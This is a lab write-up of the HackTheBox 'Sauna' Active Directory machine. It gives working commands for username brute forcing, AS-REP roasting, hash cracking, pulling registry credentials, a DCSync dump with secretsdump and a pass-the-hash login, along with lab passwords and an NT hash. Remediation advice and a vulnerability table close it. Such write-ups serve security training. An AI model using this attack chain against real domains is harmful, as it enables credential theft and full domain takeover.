18 minute read

Sauna - High Level Summary

Sauna is an Active Directory server with a web service and DNS served onto the local network. After utilizing brute force username enumeration with a pre-authentication scanner an attacker can identify valid users on the target environment. One user with pre-authentication disabled is using a weak password allowing a remote attacker to perform an AS-REP roast on the domain and gain a user session on the target machine. Stored credentials on the machine’s registry allow the user to escalate to a service account with DCSync rights. After dumping the domain’s password hash database the attacker is able to successfully emulate an Administrator session on the target machine.


  • Apply the latest security patches to the target server, specifically KB4601318
  • Perform a password audit on the target domain
  • Perform a privilege audit on the target domain
  • Enable two factor authentication wherever it is possible

Sauna - Methodologies

Information Gathering

Nmap Port Scan

Nmap performs port scanning to detect services exposed to the network on the target server. Since ports 88, 389, and 464 are all exposed to the local network we can assume that this is a Microsoft Active Directory server. This server also appears to be serving the local network with DNS as port 53 is also open.


Nmap LDAP Scan

Nmap can also perform scripted scans for specific services. An LDAP scan can be run to enumerate the domain further. The Active Directory server appears to be for the domain EGOTISTICAL-BANK.LOCAL running with many default configurations. Some of the most relevant results are noted below.

serverName: CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Infrastructure,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=ForeignSecurityPrincipals,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL


Service Enumeration

HTTP Service Enumeration

The domain controller is also running a web service on it. This is highly discouraged in a modern network as it is always best practice to segregate services across multiple servers and networks. Investigating the web service further shows that it is just a template site that might be running on top of a CMS that we can exploit. The contact form on the website does not work, returning a 405 code when information is submitted. The only other information revealed on the site is a list of potential users that might be a part of the domain in the ‘About Us’ section of the site.



CVE 2020-1472 ZeroLogon (Easy Win)

The target system is vulnerable to ZeroLogon, a nasty CVE that can allow a remote attacker on the local network to dump the entire Active Directory password database in the form of usernames and hashes. An example of how to perform this on the target machine is shown below, but we will try to complete the box in a different manner as I have already covered this CVE in my Forest Guide.

ZeroLogon Exploitation Script




Kerbrute Username Brute Forcing

Our LDAP scan using nmap leaked useful information to us about the structure of the domain. Using this Information, we can use Kerbrute to brute force some valid usernames out of the domain.

Kerbrute GitHub Repository

Kerbrute Installation Steps and Usage

git clone https://github.com/ropnop/kerbrute.git
cd kerbrute
make all
cd dist

./kerbrute_linux_amd64 userenum -d EGOTISTICAL-BANK.LOCAL --dc /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

AS-REP Roasting Users

Now that we have a list of usernames we can perform standard Active Directory attacks such as AS-REP roasting, a form of Kerberoasting. Be aware that this is a very loud action and Microsoft has documented its attempts to detect and prevent this action in Microsoft Defender for Identity here. Another great cheat sheet for AS-REP roasting is on HackTricks.

Kerbrute automatically performs AS-REP attacks on any users that have pre-authentication disabled. Because of this, the output provides a list of valid users and, on some occasions, provides us with their password hashes for offline cracking as shown below.


2023/01/31 20:33:08 >  [+] fsmith has no pre auth required. Dumping hash to crack offline:
2023/01/31 20:33:08 >  [+] VALID USERNAME:       fsmith@EGOTISTICAL-BANK.LOCAL
2023/01/31 20:36:52 >  [+] Fsmith has no pre auth required. Dumping hash to crack offline:

AS-REP Hash Cracking

Even though we have the hash from Kerbrute I was struggling to get Hashcat to crack it. So we can use Impacket to perform an AS-REP attack for us and automatically output it into the correct format.

git clone https://github.com/fortra/impacket.git
python3 -m pip install ./impacket/
echo 'fsmith' > asrep-user.txt
python3 ./impacket/examples/GetNPUsers.py 'EGOTISTICAL-BANK.LOCAL/' -format hashcat -outputfile hashes.txt -dc-ip -usersfile asrep-user.txt

These password hashes can be cracked using tools like Hashcat and JohnTheRipper. I like both of these tools equally so I pick them at random when I use them. Commands for both are shown below.

hashcat -m 18200 --force -a 0 hashes.txt /usr/share/wordlists/rockyou.txt john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Upon cracking the hash we are given the credentials: fsmith:Thestrokes23


User Session as fsmtih

The server also has Windows Remote Management (also known as WinRM) setup for remote administration. We can utilize a cracked client called Evil-WinRM to connect to the service with these new credentials. This allows us to create a session on the target machine as the fsmith user.

evil-winrm -u fsmith -i -p 'Thestrokes23'


Privilege Escalation

Stored Credentials

A great cheat sheet for Windows Privilege escalation, if you’re ever stuck, is on HackTricks. One of the common checks to be performed on a machine as a low-level user is to check for stored credentials in cleartext. The simple command below will check for credentials stored within the registry. This is not common, but it can be utilized for service accounts.


After querying the registry the output can be large but it’s worth noting the DefaultUserName and DefaultPassword fields to see if there are any stored credentials. As a matter of fact, this box stores a service account’s credentials in plaintext in the registry.



User Session as svc_loanmanager

When we try to use Evil-WinRM on the new account, we find that we are denied access. These credentials do not appear to work on this box.


Further enumeration of the domain as the fsmith user shows that there is a similarly named user on the target machine called svc_loanmgr. We can try the previous password with this new account to log onto the box over the network instead.



Now we have a shell as the service account on the target machine.

Domain Privilege Escalation

Now that we have a service account on the domain, it is relatively common to have significant permissions. Service accounts typically connect other systems into the domain and it is not uncommon for a service account to be granted significantly higher permissions on the domain compared to regular service accounts. To further enumerate the domain we can use BloodHound, a suite of tools for AD enumeration.

SharpHound Data Exfiltration

To start we will have to exfiltrate all of the domain data to which we have access. This can be performed with SharpHound. Since the team that makes Bloodhound always keeps the latest build of SharpHound in the BloodHound repository we can take our pick of delivery options. I am partial to the Powershell option, but sometimes it can be a pain to run so the fool-proof option would be to use the executable binary as shown below.

wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
evil-winrm -u svc_loanmgr -i -p 'Moneymakestheworldgoround!'           
upload ./SharpHound.exe
.\Sharphound.exe -c All
download xxxx.zip



Bloodhound Analysis of Domain Data

sudo apt install docker.io
sudo xhost +local:$(id -nu)
sudo docker run -it --rm -p 7474:7474 -e DISPLAY=unix$DISPLAY -v '/tmp/.X11-unix:/tmp/.X11-unix' --device=/dev/dri:/dev/dri -v $(pwd):/data --name bloodhound docker.io/belane/bloodhound

Click Upload Data on the right-hand side and import the zip file that we created with SharpHound. This should load all of the JSON files created by SharpHound into the database so that BloodHound can visualize the domain and perform analysis.


DCSync Rights for svc_loanmgr

One of the first analyses that I perform on any domain dump is Find Principals with DCSync Rights. This shows all accounts and machines that have permission to sync with the domain controller. As we can see in the output below the svc_loanmgr service account has DCSync rights to the domain. This means that the user has permission to access the entire domain and sync to it as if it was another domain controller, dumping all password hashes in the process.


DCSync Request with svc_loanmgr

Since we have discovered the permission to sync against the domain it is trivial to perform the request necessary to dump the entire domain. Using the Impacket repository we showcased earlier, we can perform it with the commands below.

git clone https://github.com/fortra/impacket.git
python3 -m pip install ./impacket
python3 impacket/examples/secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@'

With this request, the following output is obtained.

└─$ python3 ./impacket/examples/secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@'
Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] Kerberos keys grabbed
[*] Cleaning up...


Administrator Session Pass-The-Hash Attack

Now that we have the Administrator account’s NT and LM hashes for the network we can simply perform a pass-the-hash attack using Evil-WinRM. When you have the NT hash of an account you can pass it directly into the authentication stream and the server on the other end will never know the difference. For Evil-WinRM this is simply a command line argument in place of the password option. Using the command shown below we can authenticate to the domain controller as the Administrator user on the domain.

evil-winrm -u administrator -i -H '823452073d75b9d1cf70ebdf86c7f98e'



CVE 2020-1472

Same remediation steps as documented in my Forest Write Up

Privilege Audit of the Domain

Credentials should never be stored in the registry and they should never be stored in clear text. Perform a privilege audit on the domain to ensure that all high-risk accounts, such as accounts with DCSync rights, are utilizing complex passwords and have the least privileges possible for their use. Do not store credentials for a DCSync account on any machines.

Password Audit of the Domain

A password audit should be performed on the domain. All accounts with pre-authentication disabled must have very complex passwords that are not crackable by any standard dictionaries. Enable Two Factor Authentication Anywhere it is Possible

Vulnerability Assessments

Vulnerability Risk Rating CVSSv3 Score Description
ZeroLogon Privilege Escalation Critical - A remote attacker can elevate to domain administrator on the target host due to CVE 2020-1472.
Privilege Escalation - Poor Password Storage Critical - Clear text credentials are stored for a DCSync account that users can view. Users can escalate to the domain administrator.
Privilege Escalation - Poor Password Complexity High - Unprivileged users can perform an AS-REP roast on the domain and crack the password hash of the fsmith account due to a low complexity password.